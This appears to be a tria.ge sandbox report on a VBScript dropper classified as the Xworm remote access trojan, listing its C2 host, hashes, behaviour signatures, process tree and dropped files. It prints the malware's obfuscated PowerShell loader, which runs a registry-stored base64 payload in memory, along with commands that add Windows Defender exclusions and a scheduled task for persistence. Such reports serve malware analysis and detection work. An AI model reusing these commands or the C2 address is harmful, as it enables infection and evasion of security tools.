Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    146s
  • max time network
    158s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    10/05/2024, 19:43

General

  • Target

    InstallerVbs.vbs

  • Size

    104KB

  • MD5

    bc89449faa6c9e7bb2957178b31866ba

  • SHA1

    1e36383ec2124b42c951047dad01dd19d1f16ffd

  • SHA256

    750ba2dad733bc591d8e9d2354db33cb4a86d878c5e138419d5af4a899326111

  • SHA512

    87db7826c7f701658b782f3542f2bc2b6dd2f153181c770d0bc4c63c3300c10bf33f364590a94ae9d189b4028e965d0ede13ed3a9078a0b58e278ad6390da44f

  • SSDEEP

    3072:vx1nBT1JXFLckxCBv8I0o59j/cDJUt3YU6b/T0rCUdv47:ZF9CNt/QUVYUsQCUdv47

Malware Config

Extracted

Family

xworm

C2

mike-algebra.gl.at.ply.gg:55575

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\InstallerVbs.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\InstallerVbs.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Audio Driver.vbs'; $sacerdocy = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $sacerdocy = -join $sacerdocy[-1..-$sacerdocy.Length];[<##>AppDomain<##>]::<##>('CotterellurrentDomain'.replace('Cotterell','C'))<##>.<##>('periadenitisoad'.replace('periadenitis','L'))([Convert]::FromBase64String($sacerdocy))<##>.<##>('ricedntryPoint'.replace('riced','E'))<##>.<##>('Inlingonberryoke'.replace('lingonberry','v'))($Null,$Null)<##>;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2868
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:856
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        3⤵
        • Creates scheduled task(s)
        PID:2748
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"
        3⤵
          PID:1132
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp46D8.tmp.bat""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1520
          • C:\Windows\system32\timeout.exe
            timeout 3
            4⤵
            • Delays execution with timeout.exe
            PID:5100
    • C:\Users\Admin\AppData\Roaming\XClient.exe
      C:\Users\Admin\AppData\Roaming\XClient.exe
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4116

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      627073ee3ca9676911bee35548eff2b8

      SHA1

      4c4b68c65e2cab9864b51167d710aa29ebdcff2e

      SHA256

      85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

      SHA512

      3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

      Filesize

      62KB

      MD5

      e566632d8956997225be604d026c9b39

      SHA1

      94a9aade75fffc63ed71404b630eca41d3ce130e

      SHA256

      b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

      SHA512

      f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      7d760ca2472bcb9fe9310090d91318ce

      SHA1

      cb316b8560b38ea16a17626e685d5a501cd31c4a

      SHA256

      5c362b53c4a4578d8b57c51e1eac15f7f3b2447e43e0dad5102ecd003d5b41d4

      SHA512

      141e8661d7348ebbc1f74f828df956a0c6e4cdb70f3b9d52623c9a30993bfd91da9ed7d8d284b84f173d3e6f47c876fb4a8295110895f44d97fd6cc4c5659c35

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      856900844f6f1c326c89d0bcfb2f0c28

      SHA1

      1caad440d46fa8c0cbed4822b4be2bbdddba97c2

      SHA256

      ae24414ec53b3ae43ddbf1ff7b6643f8bf45281406f6415742f4305360d70a32

      SHA512

      ed8f421e151d797b33440dd0ddb6d6a5ec93fe7806ad82c60af3f77d545cf5dc319bce67804bd0613bb551a3f01648ec0d1918805dc7342145c8bb23ad12cab4

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      e8a7ab7bae6a69946da69507ee7ae7b0

      SHA1

      b367c72fa4948493819e1c32c32239aa6e78c252

      SHA256

      cd5480d72c1a359e83f7d6b6d7d21e1be2463f2c6718385cc6c393c88323b272

      SHA512

      89b22519bc3986be52801397e6eff4550621b4804abd2d04f431c9b2591ba8e3eab2625490a56ebb947ba3b122b6186badb6c461e917b69d7e13644c86a6f683

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bmu4htp.qz5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmp46D8.tmp.bat

      Filesize

      171B

      MD5

      66650fb88359cbd9d51a5b6eee9a545d

      SHA1

      b7398c585b00587a5221187bb029f6e12e49bdde

      SHA256

      0c1535da85adcba01b883e81a9a574cba1e9c87ee82e19e97fbb9e6d210bcc40

      SHA512

      ec71c5d290952be3eef8a82d02f4ae615ff93becbf3245bcb609dfa18f3afe481baccda5bb5876c130c3cee662764eaed2aa45191879f9a0ac9cf76fc9c476dd

    • C:\Users\Admin\AppData\Roaming\XClient.exe

      Filesize

      440KB

      MD5

      0e9ccd796e251916133392539572a374

      SHA1

      eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

      SHA256

      c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

      SHA512

      e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

    • memory/1176-12-0x000002ABFA5F0000-0x000002ABFA636000-memory.dmp

      Filesize

      280KB

    • memory/1176-15-0x000002ABFA5B0000-0x000002ABFA5CA000-memory.dmp

      Filesize

      104KB

    • memory/1176-13-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

      Filesize

      10.8MB

    • memory/1176-0-0x00007FFB96953000-0x00007FFB96955000-memory.dmp

      Filesize

      8KB

    • memory/1176-11-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

      Filesize

      10.8MB

    • memory/1176-10-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

      Filesize

      10.8MB

    • memory/1176-72-0x00007FFB96953000-0x00007FFB96955000-memory.dmp

      Filesize

      8KB

    • memory/1176-73-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

      Filesize

      10.8MB

    • memory/1176-74-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

      Filesize

      10.8MB

    • memory/1176-75-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

      Filesize

      10.8MB

    • memory/1176-9-0x000002ABFA530000-0x000002ABFA552000-memory.dmp

      Filesize

      136KB

    • memory/1176-83-0x00007FFB96950000-0x00007FFB97412000-memory.dmp

      Filesize

      10.8MB